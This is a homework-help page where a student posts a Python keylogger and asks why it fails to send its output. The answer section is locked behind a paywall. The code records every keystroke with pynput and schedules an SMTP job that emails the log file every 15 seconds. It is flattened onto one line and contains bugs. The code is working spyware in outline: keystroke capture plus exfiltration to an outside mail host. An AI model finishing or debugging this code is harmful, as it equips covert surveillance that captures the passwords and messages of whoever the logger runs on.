Question: Hey! I'm working on my python project it's due this week and I've been stuck for a while now - I have made a keylogger

Hey! I'm working on my python project it's due this week and I've been stuck for a while now - I have made a keylogger that stores the keys in a .txt file, I want the .txt file to be sent to my email every 15 seconds. I run it and get nothing, but no erros pop up either. Please help me if you can, I don't know what I'm doing wrong here !

My code is below (I TOOK AWAY MY PASSWORD & EMAIL):

import pynput.keyboard import logging import time import smtplib from apscheduler.schedulers.blocking import BlockingScheduler from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase import email.mime.text from email import encoders log_dir = "C:/Users/erick/Documents/EGentile_Project" logging.basicConfig(filename=(log_dir + "EGentile_Projectlogskey_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') def on_press(key): logging.info(str(key)) with pynput.keyboard.Listener(on_press=on_press) as listener: listener.join() def job(): fromaddr = "THIS WAS MY EMAIL" toaddr = "THIS WAS MY EMAIL" msg = MIMEMultipart() msg['From'] = fromaddr msg['To'] = toaddr msg['Subject'] = "Keylogger Results" body = 'EGentile_Projectlogskey_log.txt' msg.attach(MIMEText(body, 'plain')) filename = "EGentile_Projectlogskey_log.txt" attachment = open("C:/Users/erick/Documents/EGentile_Projectlogskey_log", "rb") part = MIMEBase('application', 'octet-stream') part.set_payload(attachment.read()) encoders.encode_base64(part) part.add_header('Content Disposition', 'attachment, filename= '+filename) msg.attach(part) server = smtplib.SMTP('smtp.gEEmail.com', 587) <-I HAD TO CHANGE THE SPEELING OF GEEMAIL SO IT WOULD LET ME POST THE QUESTION! server.starttls() server.login(fromaddr, 'THIS WAS MY PASSWORD') text = msg.as_string() server.sendmail(fromaddr, toaddr, text) scheduler = BlockingScheduler() scheduler.add_job(job, 'interval', seconds=15) scheduler.start() 

Step by Step Solution

There are 3 Steps involved in it

1 Expert Approved Answer
Step: 1 Unlock blur-text-image
Question Has Been Solved by an Expert!

Get step-by-step solutions from verified subject matter experts

Step: 2 Unlock
Step: 3 Unlock

Students Have Also Explored These Related Databases Questions!